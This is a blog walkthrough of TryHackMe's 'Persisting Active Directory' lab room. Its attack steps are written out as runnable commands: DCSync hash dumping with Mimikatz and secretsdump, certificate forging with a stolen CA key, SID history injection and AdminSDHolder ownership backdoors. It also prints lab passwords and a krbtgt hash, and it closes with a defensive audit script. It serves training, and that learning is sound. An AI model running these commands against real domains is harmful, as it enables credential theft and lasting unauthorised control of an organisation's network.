Persisting Active Directory TryHackMe Walkthrough

Rich
8 min readFeb 18, 2024

TL;DR walkthrough of the Persisting Active Directory room, and discussion of a TTP they missed.

A full list of our TryHackMe walkthroughs and cheatsheets is here.

Background

This is the last room in TryHackMe’s Active Directory series. I am more into enumerating, moving around, abusing misconfigurations, and escalating than persisting so this room was new to me.

As before I will lead with the questions & answers for each section.

— — Task 1 — -

Download the OVPN file from https://tryhackme.com/r/access and RDP.

xfreerdp /v:10.200.61.248 /u:Administrator /p:tryhackmewouldnotguess1@ /dynamic-resolution

As with the rest of this AD series, keep an eye on the vote to reset the room. If the room resets then you may have to re-generate the OVPN file.

— — Task 2 — -

What is the Mimikatz command to perform a DCSync for the username of test on the za.tryhackme.loc domain?

lsadump::dcsync /domain:za.tryhackme.loc /user:test

What is the NTLM hash associated with the krbtgt user?

python3 /home/kali/Downloads/impacket-master/examples/secretsdump.py -just-dc Administrator:tryhackmewouldnotguess1\@@10.200.61.101

16f9af38fca3ada405386b3b57366082

On a related sidenote; I learned a new trick thanks to THM’s wonky VMs in this room. I dumped the parent domain’s hashes using the Volume Shadow Copy Service.

python3 /home/kali/Downloads/impacket-master/examples/secretsdump.py -just-dc –use-vss Administrator:tryhackmewouldnotguess1\@@10.200.61.100

— — Task 3 — -

Which AD account’s NTLM hash is used to sign Kerberos tickets?

krbtgt

What is the name of a ticket that impersonates a legitimate TGT?

Golden Ticket

What is the name of a ticket that impersonates a legitimate TGS?

Silver Ticket

What is the default lifetime (in years) of a golden ticket generated by Mimikatz?

10

We first covered Golden Tickets for maintaining persistence here and covered forging a ticket to escalate to a trusting domain here. Hence I won’t re-hash it again here.

— — Task 4 — -

What key is used to sign certificates to prove their authenticity?

private key

What application can we use to forge a certificate if we have the CA certificate and private key?

ForgeCert.exe

What is the Mimikatz command to pass a ticket from a file with the name of ticket.kirbi?

kerberos::ptt ticket.kirbi

xfreerdp /v:10.200.61.101 /u:Administrator /p:tryhackmewouldnotguess1@ /dynamic-resolution
#Copy/paste Invoke-Mimikatz from our Kali VM to THMDC
. C:\Tools\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"crypto::certificates /systemstore:local_machine"'
Invoke-Mimikatz -Command '"privilege::debug" "crypto::capi" "crypto::cng"'
Invoke-Mimikatz -Command '"crypto::certificates /systemstore:local_machine /export"'
cd /home/kali/Downloads/Pilfered/BreachingAD
evi-winrm -i 10.200.61.101 -u Administrator -p tryhackmewouldnotguess1@
Set-Location C:\UsersAdministrator
Get-ChildItem #copy/paste the *za-THMDC-CA.pfx filename
download local_machine_My_1_za-THMDC-CA.pfx
#We can now forge certificates while logged in as a mere Domain User.
xfreerdp /v:10.200.61.248 /u:barbara.reid /p:Password1 /dynamic-resolution
#Copy/paste the *.pfx file to Barbara Reid's Desktop
Set-Location C:\Users\barbara.reid\Desktop
C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath local_machine_My_1_za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123
C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:fullAdmin.pfx /password:Password123 /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.61.101

— — Task 5 — -

What AD object attribute is normally used to specify SIDs from the object’s previous domain to allow seamless migration to a new domain?

sidhistory

What is the database file on the domain controller that stores all AD information?

NTDS.dit

What is the PowerShell command to restart the ntds service after we injected our SID history values?

Start-Service -Name ntds

xfreerdp /v:10.200.61.101 /u:Administrator /p:tryhackmewouldnotguess1@ /dynamic-resolution
$SID = (Get-ADGroup "Domain Admins" -Properties *).SID
Stop-Service -Name ntds -force
Add-ADDBSidHistory -SamAccountName "barbara.reid" -SidHistory $SID -DatabasePath C:\Windows\NTDS\ntds.dit
Start-Service -Name ntds

Verify

xfreerdp /v:10.200.61.248 /u:barbara.reid /p:Password1 /dynamic-resolution
Get-ADUser $env:USERNAME -Properties * | Select-Object SamAccountName, SID, SIDHistory
$Group = (Get-ADUser $env:USERNAME -Properties *).SIDHistory
(Get-ADGroup -Filter * -Properties * | Where-Object {$_.SID -like $Group}).SamAccountName
Get-ChildItem '\\THMDC.za.tryhackme.loc\C$\Users'

— — Task 6 — -

What is the term used to describe AD groups that are members of other AD groups?

Group Nesting

What is the command to add a new member, thmtest, to the AD group, thmgroup?

Add-ADGroupMember -Identity thmgroup -Members thmtest

We have done a ton of querying and auditing group membership already. Just know that to quickly pull all members of a group, including nested ones:

(Get-ADGroupMember -Identity “Testing” -Recursive).SamAccountName

To get all groups that a given user is a member of, including nested ones, use Get-ADUserNestedGroups.

This is not all that great of a persistence mechanism IMHO.

— — Task 7 — -

What AD group’s ACLs are used as a template for the ACLs of all Protected Groups?

AdminSDHolder

What AD service updates the ACLs of all Protected Groups to match that of the template?

SDProp (They’re wrong, but that’s the right answer on THM)

What ACL permission allows the user to perform any action on the AD object?

Full Control (if you’re in the GU. In PowerShell it’s GenericAll)

There’s a sneakier way to do this; make Barbara the AdminSDHolder’s owner.

Set-Location AD:
$ADRoot = (Get-ADDomain).DistinguishedName
$target = (Get-ADObject "cn=AdminSDHOlder,cn=System,$ADRoot").DistinguishedName
$acl = Get-Acl $target
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser "barbara.reid").SID
$acl.SetOwner($user)
Set-ACL $target $acl

#Verify
(Get-Acl $target).Owner

Now she can give herself GenericAll, GenericWrite, etc whenever she wants.

xfreerdp /v:10.200.61.248 /u:barbara.reid /p:Password1 /dynamic-resolution
Set-Location AD:
$ADRoot = (Get-ADDomain).DistinguishedName
#Give a group GenericAll, aka Full Control, over the AdminSDHolder
$victim = (Get-ADObject "cn=AdminSDHOlder,cn=System,$ADRoot").DistinguishedName
$acl = Get-ACL $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser -Identity "barbara.reid").SID
#Allow GenericAll
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"GenericAll","ALLOW",([GUID]("00000000–0000–0000–0000–000000000000")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Apply above ACL rules
Set-ACL $victim $acl

#Verify
(Get-Acl $victim).Access | Where-Object {$_.IdentityReference -like "*barbara.reid*"}

Now she can simply wait a few for AdminSDHolder to update and add herself to Domain Admins.

JMHO, but changing the ownership of the domain root, AdminSDHolder, or a HVT like the Domain Admins or Backup Admins group may be one of the better persistence mechanisms listed here. It also won’t break anything and can be undone later.

Changing the owner doesn’t change the DACL, it only gives the new owner the ability to later at a time of their choosing. Many auditing tools don’t seem to track this either, they only check the DACL. They sometimes don’t do a very good job of even checking that.

Auditing for this

I consider the change of ownership of HVT groups in AD serious enough to warrant a sidenote on auditing for it.

One can check their entire AD to see if anything is set to a non-default owner with this query.

Import-Module ActiveDirectory
Set-Location AD:
$ADRoot = (Get-ADDomain).DistinguishedName
$ADCS_Objects = (Get-ADObject -Filter * -SearchBase $ADRoot).DistinguishedName
$Safe_Users = "Domain Admins|BUILTIN\\Administrators|NT AUTHORITY\\SYSTEM"
ForEach ($object in $ADCS_Objects)
{
$BadOwner = (Get-Acl $object -ErrorAction SilentlyContinue).Owner -notmatch $Safe_Users
If ($BadOwner)
{
Write-Host "Object: $object" -ForegroundColor Red
(Get-Acl $object -ErrorAction SilentlyContinue).Owner
}
}

We have a query for checking delegation of privilege via DACL changes against a whitelist of groups that should hold those rights here.

— — Task 8 — -

What MMC snap-in can be used to manage GPOs?

Group Policy Management

What sub-GPO is used to grant users and groups access to local groups on the hosts that the GPO applies to?

Restricted Groups

What tab is used to modify the security permissions that users and groups have on the GPO?

Delegation

GPOs are stored in

$ADRoot = (Get-ADDomain).DistinguishedName

cn=policies,cn=system,$ADRoot

They are labeled by GUID and stored in XML format. We went over auditing their delegation here. We went over one way to scrub them looking for a specific thing here. In that case it was looking for Domain groups that had been made local admins by a prior system administrator who was kind of sloppy and didn’t document anything.

Querying and auditing GPOs is not super intuitive so they are probably a pretty good place to hide.

Get-ADObject -Filter * -SearchBase “cn=policies,cn=system,$ADRoot” -Properties * | Select-Object ObjectGUID, DisplayName, Name

Summary

Microsoft has been confusing before in their documentation, so it’s understandable that TryHackMe got a question wrong here. The AdminSDHolder and SDProp are not really related.

  • SDProp runs anytime a DACL or a DistinguishedName changes.
  • AdminSDHolder runs on a timer.

By default AdminSDHolder runs every hour. Microsoft does not recommend changing this.

Ned Pyle does a great job of explaining this here if you want to know more, and has a much better sense of humor then I do.

AdminSDHolder sets the DACLs on protected objects. It does not stop someone from temporarily changing a DACL on a protected object if they are the owner of that object and it does not change the owner of protected objects, just their DACL. Hence an interesting persistence mechanism would be to set an account the attacker controls as the owner on the Backup Operators group. They could then modify its DACL at a time of their choosing, add themselves to the group, backup a DC, and dump hashes from the backup. AdminSDHolder would change the DACL back within the hour, so unless the sysadmins are monitoring for DACL or group membership changes then they’d miss this attack.

JMHO on another sidenote, and I’ve been guilty of this too, it’s best to specify “DACL” and not just say “ACL” in the context of AD security. This is because of the existence of SACLs.

There is another persistence TTP that TryHackMe left out of this room; hidden objects. This TTP only hides an account, an attacker still has to pair it with something like ownership of a HVT object, DCSync rights, etc.

Overall though this was another good room in TryHackMe’s Active Directory series. It’s another reminder too that eventually I should get around to spinning up AD CS on test.local.

References

ForgeCert: https://github.com/GhostPack/ForgeCert

Well known SIDs in AD: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers

Get-ADNestedGroups: https://blog.tofte-it.dk/powershell-get-all-nested-groups-for-a-user-in-active-directory/

Volume Shadow Copy Service: https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service

AdminSDHolder & SDProp: https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/five-common-questions-about-adminsdholder-and-sdprop/ba-p/396293

--

--

Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.